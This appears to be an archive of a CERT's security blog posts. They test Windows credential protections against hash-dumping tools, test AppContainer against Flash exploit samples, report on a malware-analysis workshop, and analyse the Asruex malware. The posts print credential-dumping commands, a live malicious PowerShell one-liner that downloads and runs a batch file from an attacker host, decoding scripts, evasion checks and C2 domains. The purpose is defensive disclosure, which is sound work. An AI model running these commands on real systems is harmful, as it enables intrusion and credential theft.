42 posts categorized "#Threats" Feed

Oct 31, 2016

Verification of Windows New Security Features – LSA Protection Mode and Credential Guard

In most of the targeted attack cases, often multiple computers get infected by malware, rather than just a single computer, and attackers continue compromising other computers across the network, including important servers. For this “lateral movement” purpose, password hash is often targeted. In order to enhance protection against such information theft, LSA Protection Mode for Windows 8.1 etc. and Credential Guard for Windows 10 Enterprise have been introduced. In this entry, we will examine the protection effect of these features and the points to consider in reserving the effect.

Overview of LSA Protection Mode

LSA (Local Security Authority) is a subsystem related to Windows security. It manages user rights information and stores password hash etc. in the memory. In OS including Windows 8.1 and others, LSA Protection Mode serves to protect such information from being stolen.

In order to enable LSA Protection Mode, users need to edit the registry as instructed in Technet Library [1] and reboot the OS. Please note that LSA plug-ins which are not compatible with LSA Protection Mode will not function after enabling the mode. Such plug-ins can be identified by using Audit Mode before changing the Protection Mode.

LSA Protection Mode was first introduced in Windows 8.1 and Windows Server 2012 R2. For Windows 10, which was released after that, Build 10240 could not be started up properly with Protection Mode. However, we confirmed that Build 10586 (Version 1511, November Update, TH2) was successfully started up under the mode.

Verification of LSA Protection Mode with Artifacts Used in Actual Attacks

We verified the effect of LSA Protection Mode by attempting hash dump using 4 types of artifacts which have functions to dump password hash. All the artifacts were used in actual attacks. Functions of each artifact are described in Table 1. Figure 1-6 shows the dump results for each artifact, and Table 2 shows the results under LSA Protection Mode.

We conducted the verification using Windows 10 Build 10586 and Windows 8.1, and confirmed that the same results were derived.

Table 1: Artifacts that dump password hash
ArtifactCommand/OptionDumped Information
mimikatz sekurlsa::logonpasswords Logged-on user information
gsecdump -u Logged-on user information
PwDump7 N/A Local user information
QuarksPwDump -dhl Local user information
Table 2: Results of hash dump under LSA Protection Mode
ArtifactResult
mimikatz Failed (An error occurred)
gsecdump Failed (An error occurred)
PwDump7 Successful
QuarksPwDump Successful

Under LSA Protection Mode, mimikatz and gsecdump observed an error as in Figure 2 and 4, and were unable to dump. On the other hand, when it is disabled, these two types of artifacts are able to dump logged-on domain user information as in Figure 1 and 3. Information of the domain user can be a hint to compromise other computers within the domain (e.g. pass-the-hash attack). LSA Protection Mode protects such domain user information from being stolen, and therefore it is expected to hinder lateral movement.

Figure 1: mimikatz (Protection Mode disabled)
Fig1
Figure 2: mimikatz (Protection Mode enabled)
Fig2
Figure 3: gsecdump (Protection Mode disabled)
Fig3
Figure 4: gsecdump (Protection Mode enabled)
Fig4
Figure 5: PwDump7
Fig5
Figure 6: QuarksPwDump
Fig6

As Figure 5 and 6 demonstrate, dumping with PwDump7 and QuarksPwDump is successful regardless of LSA Protection Mode since they dump information by reading disk devices or using registry API, instead of stealing information from LSA processes. However, the information that these two dump is local user information, not domain user. Note that the results here are derived solely from the commands/options in Table 1. (e.g. mimikatz also has a command to steal local user information just like QuarksPwDump etc.)

Overview of Credential Guard

For Windows 10 Enterprise, you can also use a further advanced system to protect LSA, “Credential Guard”. It is based on a protection environment isolated from the OS by virtualisation using hardware. Therefore, when Credential Guard is enabled, secret data and parts of LSA process that store the secret data are isolated from the OS and then protected [2] [3]. Comparison of LSA Protection Mode and Credential Guard is described in Table 3.

Table 3: Comparison of LSA Protection Mode and Credential Guard
Applicable Windows version, editionProtection mechanismWhether LSA process on the OS stores/manages rights information
LSA Protection Mode Windows 8.1, Windows Server 2012 R2 and others Restrict access to LSA process on the OS Yes
Credential Guard Windows 10 Enterprise only Isolate secrets from OS on Hypervisor No (Isolated parts that protect the secrets do)

Credential Guard can be enabled in Group Policy Management Console. However, if Hyper-V Hypervisor is not enabled in advance, in some cases, Credential Guard may not be enabled until it is first enabled in the Console, and rebooted, and then rebooted again manually. Furthermore, Credential Guard does not function even if it looks enabled on Group Policy Management Console, in case the hardware requirements are not met or required functions are disabled by UEFI (BIOS) configurations. Whether Credential Guard is actually enabled can be checked by displaying system information [2].

Verification of Credential Guard with Artifacts Used in Actual Attacks

We conducted another verification test of hash dumping by using the same artifacts as in Table 1. The results of password hash for each artifact are shown in Table 4. The result outputs are shown in Figure 5-8.

Table 4: Results of password hash dump under Credential Guard
ArtifactResult
mimikatz Failed (incorrect hash value dumped)
gsecdump Failed (incorrect hash value dumped)
PwDump7 Successful (as in Figure 5)
QuarksPwDump Successful (as in Figure 6)

As Table 4 describes, the dump results are similar to the verification under LSA Protection Mode (Table 2). In Figure 7 and 8, which shows the dump results with mimikatz and gsecdump under Credential Guard, there was no error observed (unlike Figure 2 and 4 under LSA Protection Mode). However, this is due to the fact that the protection mechanism is different in LSA Protection Mode and Credential Guard as in Table 3, and it does not mean that the password hash is stolen.

Figure 7: mimikatz (Credential Guard)
Fig7
Figure 8: gsecdump (Credential Guard)
Fig8

Compare Figure 1 which shows the dump results of mimikatz without LSA protection and Figure 7 with Credential Guard, and similarly Figure 3 and 8 for gsecdump. Although the same password is configured for all the cases, you will realise that the password hash value is different and it derives an incorrect password hash value under Credential Guard (Figure 7 and 8). This means that the password hash is not stolen when Credential Guard is enabled.

Local password hash dump using PwDump7 and QuarksPwDump succeeds because it does not use LSA as an information source (as described in the Verification of LSA Protection Mode above), even under Credential Guard.

Point to Consider - 1

If you compare Figure 1 which shows the dump results of mimikatz without LSA protection and Figure 6 of QuarksPwDump with LSA protection, you will see that the password hash (NTLM) for “user1” in Figure 1 and “localuser1” in Figure 6 are identical. This means that these users share the same password, and actually “user1” is a domain user and “localuser1” is a local user. In mimikatz environment, domain users’ password hash can be protected by using LSA Protection Mode or Credential Guard. However, with QuarksPwDump, these two protection features are not effective against password hash dump of local users.

Even under LSA Protection Mode or Credential Guard, local users’ password hash can be stolen using PwDump7 or QuarksPwDump etc. in an environment where a domain user and a local user share the same password, and this raises the risks of the domain being compromised. Make sure to configure a different password for domain users and local users within the domain.

Point to Consider - 2

By using QuarksPwDump which is capable of dumping under LSA Protection Mode or Credential Guard, it is possible to dump domain logon information that was cached on the local disk as follows:

Figure 9: QuarksPwDump –dhdc

Fig9

This cache is for usage on a laptop PC which is temporally offline from a domain. Neither LSA Protection Mode nor Credential Guard can protect the information in the cache from being stolen. Computers that are constantly connected to the domain do not require cache function, and in such case this function can be disabled. In order to disable cache, edit Group Policy [4] or registry [5].

If you disable cache, domain passwords cannot be found even with QuarksPwDump as shown in Figure 10.

Figure 10: QuarksPwDump –dhdc (Logon cache disabled)
Fig10

If you cannot disable cache due to the network environment where the computer operates, it is better to configure stronger passwords (length, types of letters, hard to guess from dictionary). The cached password hash has a different format from data stolen from LSA, and it cannot be used for pass-the-hash attacks as is. However, some tools to crack the hash are already available, and it is possible to break weak and simple passwords.

Summary

We have verified that LSA Protection Mode and Credential Guard are one of the effective protection features against lateral movement in targeted attacks, by protecting domain password hash from being stolen. In order to enable the features, please make sure that your hardware and software meet the requirements and there is no impact on your driver or plug-ins. Also, it is important to check if your environment does not reduce the protection effect. We hope that these features help in constructing an even more secure Windows domain environment.

-Kenichi Imamatsu

(Translated by Yukako Uchida)


References

[1] Microsoft - Configuring Additional LSA Protection
     https://technet.microsoft.com/en-us/library/dn408187.aspx

[2] Microsoft - Protect derived domain credentials with Credential Guard
     https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard

[3] FFRI - Windows 10 Research report on effects of reducing security risks - Phase 1 (Japanese only)
     http://www.ffri.jp/assets/files/research/research_papers/windows10_security_ja.pdf

[4] Microsoft - Interactive logon: Number of previous logons to cache (in case domain controller is not available)
     https://technet.microsoft.com/en-us/library/mt629048(v=vs.85).aspx

[5] Microsoft - Cached domain logon information
     https://support.microsoft.com/en-us/kb/172931

Aug 29, 2016

AppContainer’s Protecting Effects on Vulnerability-Exploited Web Browsers

Our previous article “Enhanced Protected Mode in Internet Explorer” (published in August 2015) introduced that running the browser with Enhanced Protected Mode in 64-bit mode is effective in the protection against attacks exploiting vulnerabilities. This entry will verify the effect of “AppContainer” against attacks, which is another function related to Enhanced Protected Mode for Windows 8 and later.

AppContainer and Web Browser

AppContainer is a sandbox which runs applications in an isolated environment. Access from AppContainer to an external environment is strictly limited. The biggest difference from Protected Mode (not Enhanced; access control based on Integrity Level) is that even reading is basically prohibited in addition to writing. [1]

The following Web browsers run within AppContainer:

  • Edge for Windows 10
  • Internet Explorer 11 in Modern UI (Metro) for Windows 8.1 (Immersive browser)

Flash Player which is integrated in Windows 8.1 and Windows 10 is also compatible with AppContainer.

Internet Explorer 11 for Windows 8.1 Desktop and Windows 10 do not run in AppContainer by default. They can run in AppContainer by selecting “Enable Enhanced Protected Mode” in Internet Options. Internet Explorer 11 on Windows 64-bit mode has an option to “Enable 64-bit processes for Enhanced Protected Mode”, however, this alone does not enable Enhanced Protected Mode. The browser will run in 64-bit mode outside AppContainer unless you enable Enhanced Protected Mode in Internet Options. When Enhanced Protected Mode or 64-bit mode is enabled, add-ons that are not compatible with AppContainer or 64-bit mode will not run. Also, even if Enhanced Protected Mode is enabled, it gets disabled when Protected Mode is disabled, for instance in Trusted Sites Zone.

Tests with Malware Samples Used in Actual Attacks

We conducted some tests to see the effect of AppContainer by using malware samples used in actual attacks exploiting Flash Player vulnerability. We used two kinds of samples. For one of them, we also tested by making modifications to the sample to see potentially derived methods. So, we conducted tests for the following three cases:

  • Test 1: See if the sample, which creates and launches executable files by exploiting the vulnerability APSB15-18, runs
  • Test 2: Modify the sample in Test 1 so that it launches executable files via DLL, and see if it runs
  • Test 3: See if the sample, which executes Windows commands and scripts by exploiting the vulnerability APSB16-15, runs

The tests were conducted using Internet Explorer 11 for Windows 10, and we observed the difference in behaviour depending on the configuration of Enhanced Protected Mode. We have confirmed that the same results were obtained for Windows 8.1 and 10.

Test 1 – Creating and Launching Executable Files

First, as a simple case, we tested AppContainer’s effect by checking if malware is successful in creating and launching executable files with different Enhanced Protected Mode configuration. Table 1 describes the behaviour of the sample after successfully exploiting the vulnerability APSB15-18.

Table 1: Creating and Launching Executable Files
Internet OptionsCreating Malware’s Executable FilesLaunching the Created Executable Files
Default (Enhanced Protected Mode disabled) Successful Successful
Enhanced Protected Mode enabled (AppContainer) Successful Failed
Enhanced Protected Mode enabled + Trusted Websites (Protected Mode disabled) Successful Successful

Whether or not Enhanced Protected Mode is enabled, executable files were successfully created. However, when Enhanced Protected Mode is enabled, it fails to launch the file due to an API error. This means that infection will not occur under Enhanced Protected Mode. However, even if Enhanced Protected Mode is enabled, it is disabled in Trusted Sites Zone, and thus infection cannot be prevented.

Test 2 – Launching Executable Files via DLL

The sample used in Test 1 was a simple one which creates and launches executable files. There could be other kinds of malware using more sophisticated methods. As an example, we took advantage of the fact that DLL can also be loaded in AppContainer, and modified the malware to launch executable files indirectly via DLL. We tested to see if executable files could launch this way (shown in Table 2).

Table 2: Launching via DLL
Internet OptionsLaunching Malware’s Executable Files
Default (Enhanced Protected Mode disabled) Suspended (Launches if allowing the warning pop-up)
Enhanced Protected Mode enabled (AppContainer) Suspended (Launches if allowing the warning pop-up)
Enhanced Protected Mode enabled + Trusted Websites (Protected Mode disabled) Successful (No warning pop-up)

Except for the case where Protected Mode is disabled for Trusted Sites Zone, the warning pop-up in Figure 1 appears:

Figure 1: Warning Pop-up asking to allow File Execution
Fig1en

If you choose “Allow” on the pop-up, even under Enhanced Protected Mode, malware is executed without AppContainer’s operation restriction. Please be cautious not to casually allow this message.

Figure 2 to 4 show the Process Explorer screen when executable files were successfully launched. In Figure 3, the “Integrity” for processes running within AppContainer is shown as “AppContainer” instead of its actual Integrity Level. Although the parent-child relationship for processes shown in Figure 2 and 3 are different from that of Figure 4, the process calling for API which launches the malware’s executable file is “iexplorer.exe”, which is listed in the second row from the bottom (iexplorer.exe of child process) in all these figures. Therefore, unlike the case where the malware’s executable file was launched without a warning pop-up and infection occurred (Figure 4), the launched process (sample.exe) will not be a child process of the process calling for API (iexplorer.exe) when execution is allowed at the warning pop-up (Figure 2 and 3).

Figure 2: Screen when execution is allowed at the warning pop-up (Enhanced Protected Mode disabled)
Fig2

Figure 3: Screen when execution is allowed at the warning pop-up (Enhanced Protected Mode enabled)
Fig3

Figure 4: Screen when infected via trusted Websites (Protected Mode disabled)
Fig4

Test 3 – Launching Windows Command

The last test used samples we recently observed in June 2016, Flash File (SWF) sample of Neutrino Exploit Kit. The sample attempts to create and execute scripts to download and launch malware by leveraging vulnerability APSB 16-15. cmd.exe (Windows command processor) is used to create the scripts, and WScript.exe (Windows Script Host) is used to execute the scripts for downloading and launching the malware. The test results are described in Table 3.

Table 3: Results for Launching Windows Command, Creating and Executing Scripts
Internet OptionsLaunching cmd.exeCreating ScriptsDownloading and Launching
Default (Enhanced Protected Mode disabled) Successful Successful Successful
Enhanced Protected Mode enabled (AppContainer) Successful Failed -
Enhanced Protected Mode enabled + Trusted Websites (Protected Mode disabled) Successful Successful Successful

In any case, cmd.exe is successfully launched. Process Explorer at this stage is illustrated in Figure 5. Unlike Test 1 or 2, programs are launched within AppContainer.

Figure 5: Launched Programs within AppContainer
Fig5

As shown, launching programs within AppContainer does not necessarily fail, and Windows command and others can be launched. In this situation, a warning screen as in Figure 1 will not appear. However, functions of the command are limited, since it takes over the conditions within AppContainer. This sample is not compatible with the limited command functions, and so cannot create scripts. Therefore, infection will not occur under Enhanced Protected Mode.

Summary

Even if a vulnerability is leveraged, we have verified that further stage of attack can be prevented by running the Web browser within AppContainer. Through access restriction against malicious codes, you can expect to limit the range of affected area by an attack, or even reduce the risk of being infected by malware.

Yet there is something to note regarding this effect. Since AppContainer is just a system to run applications (e.g. Web browsers) in an isolated environment, it cannot prevent attacks targeting information that Web browsers handle. For example, it cannot prevent actions to steal information from memory, such as password hash of proxy servers with authentication. If such information is stolen, it could be used for other attacks. We can utilise AppContainer, but we recommend that users do not rely on it too much – and make sure that basic security measures are in place, such as to avoid using a single password for multiple Web services.

Thank you for reading.

- Kenichi Imamatsu

(Translated by Yukako Uchida)


References:

[1] FFRI - Windows 8 Security (Japanese)
  http://www.ffri.jp/assets/files/monthly_research/MR201210_Window%208_AppContainer_Sandbox.pdf

[2] Microsoft - AppContainer Isolation
  https://msdn.microsoft.com/en-us/library/windows/desktop/mt595898(v=vs.85).aspx

[3] IBM - A Peek into IE's Enhanced Protected Mode Sandbox
  https://securityintelligence.com/internet-explorer-ie-10-enhanced-protected-mode-epm-sandbox-research/

[4] Black Hat - diving into ie 10's enhanced protected mode sandbox
  https://www.blackhat.com/docs/asia-14/materials/Yason/Asia-14-Yason-Diving-Into-IE10s-Enhanced-Protected-Mode-Sandbox.pdf

Jul 29, 2016

Workshop and Training in Botswana

Dumela!

This is hello in Tswana, a widely spoken language in Botswana. I’m Moris, Katsuhiro Mori, working at Global Coordination Division of JPCERT/CC. Recently I visited Gaborone, Botswana with Sparky, my colleague and an expert of cyber security training in Africa, for joining Africa Internet Summit (AIS) 2016 held from May 29 through June 10. AIS is an annual, regional, multi-stakeholder ICT conference since 2013, which aims to bring the African Internet community, drawn from governmental institutions, public and private sectors, academia and civil society, to interact with the global Internet community on Internet development in Africa. JPCERT/CC has been joining events by the African Internet community about twice a year since 2010. Dr. Suguru Yamaguchi, who had served as one of JPCERT/CC’s board members, was a key person to start outreach activities in Africa. In the African CSIRT community, he is known for sowing the seeds of CSIRT capacity building activities in Africa. But sadly, he passed away on May 9, 2016. We would like to take over his will to enhance cyber security and create close communication with African countries, especially CSIRT communities.

Here, I would like to write about the workshop which I engaged as a trainer for the first time.

June 1st

This time, we conducted a training for AfricaCERT members on malware analysis. The curriculum consisted of malware basics, malware analysis basics, malware analysis environment setup, surface analysis methods and runtime analysis methods. These five sections are the basics of malware analysis, and JPCERT/CC’s Analysis Center also uses these methods. We hope attendees have learned a lot from this material.

TitleComponents
Malware Basics About technical terms of Malware
Malware Analysis Basics About technical terms of Malware Analysis
Malware Analysis Environment Setup Installing software and setting configuration
Surface Analysis Methods Introducing Malware tools and analyzing files using the tools
Runtime Analysis Methods Analyzing sample malware, watching network packets, registry, and process activities
Photo taken at the training
1

When I started to lecture on malware analysis environment setup, I felt it was difficult to prepare the same environment in each attendee’s device. Although what we had prepared was for Windows 7 64 bit, there were some participants with Mac OS.

Figure 1: Setting of environment using Virtualbox
2

It is very important to create malware analysis environment in a proper manner; otherwise malware may spread to another PC through the LAN or USB devices. This setup took a lot of time, so we moved to lecture on surface analysis methods, which does not require environment setup.

Basically, we started to analyze malware from surface analysis – that is, observing malware without actually running it. Sometimes we can obtain enough information from surface analysis, or in other cases, we would need to get further information from runtime analysis. We analyzed malware by using tools and searching information through the Internet.

June 2nd

Runtime analysis method is analyzing malware by executing it on a PC (with a special environment). We observed malware behavior from process, network activity and registry by using some tools. It is important that CSIRTs have malware analysis skills, especially in case of malware observed in a limited range of regions, or customized malware, since sometimes they are not yet adapted by anti-virus vendors.

After malware analysis, Sparky conducted a workshop on CyberGreen. This is a project lead by JPCERT/CC to measure and improve cyber health. We help CSIRTs focus their remediation efforts on the most important risks; to help understand where improvements can be made and how, together, we can achieve a more sustainable, secure, and resilient cyber ecosystem.

Sparky talking about CyberGreen project
3

June 3rd

There was a cerebration for CERT-FR and JPCERT/CC who have been supporting the African Internet community. JPCERT/CC, Dr. Suguru Yamaguchi and Sparky were given the “Meritorious Service Award” by AfricaCERT. AfricaCERT members talked about memories with Dr. Suguru and his contribution. I was moved by their stories. Unfortunately, I did not and will not ever have a chance to meet him, but I felt his great achievements will be alive here in Africa. I have to take over his will and support CSIRT establishment in the African region as a member of JPCERT/CC.

Sparky was given an award from Prof. Nii Quaynor
4
Certificate of achievement given for Dr. Suguru Yamaguchi
5

Thank you for reading.

- Katsuhiro Mori

Jun 30, 2016

Asruex: Malware Infecting through Shortcut Files

JPCERT/CC has been observing malicious shortcut files that are sent as email attachments to a limited range of organisations since around October 2015. When this shortcut file is opened, the host will be infected with malware called “Asruex”. The malware has a remote controlling function, and attackers sending these emails seem to attempt intruding into the targets’ network using the malware. According to a blog article by Microsoft, the malware is associated with an attacker group identified as “DarkHotel” (Microsoft calls it as "Dubnium") [1]. This blog entry will introduce the details of Asruex.

Infection Mechanism of Asruex

Figure 1 describes the chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex.

Figure 1: Chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex
Asruex

For those cases that JPCERT/CC has observed, when the shortcut file is opened, a downloader is downloaded from a C&C server and then executed. The downloader then downloads Asruex from another C&C server, which is then executed. Detailed behaviour observed in each phase will be explained in the next section.

Details of the Shortcut File

When the malicious shortcut file is opened, the following PowerShell command in the file is executed.

powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a                                    """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"

The above PowerShell command downloads a file from the specified URL, and it is saved as a batch file to be executed. The batch file contains the following commands, which execute PowerShell scripts (marked in red).

echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001 
cd "%tmp%" 
start winword "article_draft.docx" 
copy "article_draft.docx" "%1" 
del /f "%1\*.*.lnk" 
echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA…
"%tmp%\dwm.exe"

When the batch file is executed, a Windows executable file (a downloader) and a dummy file for display will be downloaded from a C&C server, saved in %TEMP% folder and then executed. Those decoy documents are written in Japanese, but some are also in Chinese, which implies that the target for this attack is not limited to Japanese organisations.

Details of the Downloader

When the downloader is executed, it downloads a .jpg or .gif image file. Encoded Asruex is contained in the latter part of the image file. The downloader decodes it and then executes the malware.

Figure 2: An Image File Containing Encoded Asruex
Jpgimage

Asruex contained in the image file is encoded using XOR. The following Python script is used for decoding the encoded data of the image file. The size of the encoded data is specified in the last 4 bytes of the image file.

key = 0x1D  # Keys may vary depending on the sample
for i in range(0, length):
    buf[i] = chr(ord(buf[i]) ^ key)
    key += 0x5D
    key &=0xff

The downloader may contain an encoded executable file of Process Hacker (a multi-function task manager), and it may execute the Process Hacker if an anti-virus software is detected. Anti-virus software such as by Symantec, McAfee and Kaspersky, etc., are detected based on the process names.

Details of Asruex

Asruex is a kind of malware that communicates with the C&C server over HTTP, and executes the command received through the communication. It has various anti-analysis features such as preventing the malware from running when it detects a virtual machine. Please refer to Appendix A for conditions which Asruex detects a virtual machine. The malware is also capable of detecting anti-virus software.

If Asruex does not detect a virtual machine, it executes one of the following executable files, and injects a DLL file which is contained in Asruex. In case where it detects anti-virus software, Asruex generates a DLL file and loads it to itself (but does not perform DLL injection). This DLL file contains the core functions of Asruex.

  •  sdiagnhost.exe
  •  wksprt.exe
  •  taskhost.exe
  •  dwm.exe
  •  winrshost.exe
  •  wsmprovhost.exe
  •  ctfmon.exe
  •  explorer.exe

The DLL injected, or generated and loaded, sends an HTTP request to a dummy host. If it receives a reply of status code that is 100 or greater, it connects to an actual C&C server as follows:

GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91
62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217 –omitted- HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Host: [host name]

Asruex operates based on the configuration information stored in itself. The configuration Information includes C&C servers and dummy hosts that it connects to, and also version information and a key to decode data which is delivered. For further details on the configuration information, please refer to Appendix B.

The configuration information is encoded. It can be decoded with the following Python code:

(config_size,) = struct.unpack("=I", data[offset:offset+4])
config_offset = offset + 4
encode_config = data[config_offset:config_offset+config_size]
i = 0
seed = config_size * 2  // It does not necessarily double
while i < config_size:
    (result, seed) = rand_with_seed(seed)
    result &= 0xff
    decode_data.append(chr(ord(encode_config[i]) ^ result))
    i += 1
decode_config =  "".join(decode_data)
(decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size])
config = lznt1_decompress(decode_config, config_size, decode_size)

Asruex executes commands that are received from a C&C server. Commands that are possibly executed are listed in Table 1. Most of the commands are used for collecting information, but some are for downloading DLL files (AdvProv.dll) from C&C servers and for executing them. AdvProv.dll is a plug-in to expand functions of Asruex.

Table 1: Commands used by Asruex
CommandFunction
1 Collect information of infected hosts
2 Obtain process list
3 Obtain file list
4 Change waiting time
5 Obtain version information
6 Uninstall
501 Obtain folder list
502 Load DLL
- Execute external DLL (AdvProv.dll)

Details of AdvProv.dll

AdvProv.dll is encrypted using XOR and 3DES. Decryption key is calculated based on the destination URL and the encoding key of the configuration information. Asruex downloads a DLL, loads it into the memory and executes DLL’s export function, Get_CommandProc. AdvProv.dll adds the following commands to Asruex:

Table 2: Asruex Commands added by AdvProv.dll
CommandFunction
101 Download
102 Copy a file
103 Change a file name
104 Change file time
105 Delete a file
106 Terminate a process
107 Search a registry
108 Show a registry entry
109 Create a registry entry
110 Show a registry entry
111 Delete a registry entry
112 Update
601 Download and execute a file

Samples of AdvProv.dll that JPCERT/CC has observed had the listed functions. However, there may be some other versions with different functions.

Summary

Asruex is a relatively new kind of malware that has been seen since around October 2015. It is likely that targeted attacks using Asruex will continue.

Hash values of artifacts demonstrated in this article are described in Appendix C. Also, destination URLs confirmed by JPCERT/CC are listed in Appendix D. It is recommended to make sure that the hosts you use are not accessing these URLs.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] Microsoft - Reverse-engineering DUBNIUM
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/

Appendix A: Conditions where Asurex detects an analysis environment

If Asruex detects itself being operated in an environment under any of the following conditions (Table A-1 to A-6), it recognises that it is an analysis environment and stops running.

Table A-1: The user matches the computer name and user name as listed.

Table A-2: Listing up the loaded modules, and if the listed functions are found to be exported.

Table A-3: The listed file names are found.

Table A-4: The listed process names are running.

Table A-5: Listing up the process modules that are running, and the module version matches the combination listed.

Table A-6: The disk name contains the listed strings.

Table A-1: Detectable Combination of Computer Name and User Name
Computer NameUser Name
BRBRB-D8FB22AF1 antonie
ANTONY-PC Antony
TEQUILABOOMBOOM janettedoe
HBXPENG makrorechner
IOAVM Administrator
XANNY Administrator
NONE-DUSEZ58JO1 Administrator
rtrtrele Administrator
HOME-OFF-D5F0AC Dave
DELL-D3E64F7E26 Administrator
JONATHAN-C561E0 Administrator
HANS HanueleBaser
IePorto Administrator

Table A-2: Detectable Functions
Functions
_SbieDll_Hook@12
_SbieApi_QueeryProcessPath@28
hook_api
New2_CreateProcessInternalW@48

Table A-3: Detectable File Names
File Names
\\.\pipe\cuckoo
[System Drive]:\cuckoo

Table A-4: Detectable Process Names
Process Names
Filemon.exe
Regmon.exe
Procmon.exe
Tcpview.exe
wireshark.exe
dumpcap.exe
regshot.exe
cports.exe
smsniff.exe
SocketSniff.exe

Table A-5: Detectable Combinations of File Version Information
FileDescriptionCompanyName
Sysinternals
SysinternalsRegistryMonitor Sysinternals
ProcessMonitor Sysinternals
TCP/UDPendpointviewer Sysinternals
Wireshark TheWiresharkdevelopercommunity
Dumpcap TheWiresharkdevelopercommunity
Regshot RegshotTeam
CurrPorts NirSoft
SmartSniff NirSoft
SocketSniff NirSoft

Table A-6: Detectable Disk Names
Disk Name
vmware
Virtual HD
MS VirtualSCSI Disk Device
Appendix B: Configuration Information
Table B-1: List of Configuration Information
OffsetLengthDescription
0x000 16 ID
0x010 4 Version Information
0x014 256 Install Path
0x114 64 * 3 Dummy URLs to connect to × 3
0x1D4 256 * 3 HTTP Access URLs × 3
0x4D4 256 Sending data store path 1
0x5D4 64 Sending data strings 1
0x614 256 Sending data store path 2
0x714 64 Sending data strings 2
0x754 64 Encode key
0x794 4 Suspension time
0x798 256 * 3 File name × 3
0xA98 4 Machine information (pointer)
0xA9C 4 Connect destination (pointer)
0xAA0 4 Not in use

Encode keys

  •  blackolive
  •  darktea
  •  12qw@#WE
Appendix C: SHA-256 Hash Value of Artifacts

Shortcut files:

  • c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
  • ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
  • 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
  • b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
  • c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456
  • ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27
  • 5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6
  • e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
  • 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe

Downloaders:

  • fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
  • dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600
  • d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef
  • caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
  • 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
  • 77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727
  • 05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d
  • a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
  • 2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b
  • 36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a
  • a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
  • 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
  • 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
  • 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
  • df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db
  • eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617
  • e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81
  • 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
  • 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5

Asruex:

  • 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
  • a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
  • 9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90
  • 694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738
  • 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
  • 148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8
  • d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a
  • fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b
  • eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c
  • 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c

AdvProv.dll

  • f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc

Others

  • 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
  • e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
  • 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8
Appendix D: Hosts that Asruex connects to
  •  vodsx.net
  •  office365-file.com
  •  service365-team.com
  •  datainfocentre.com
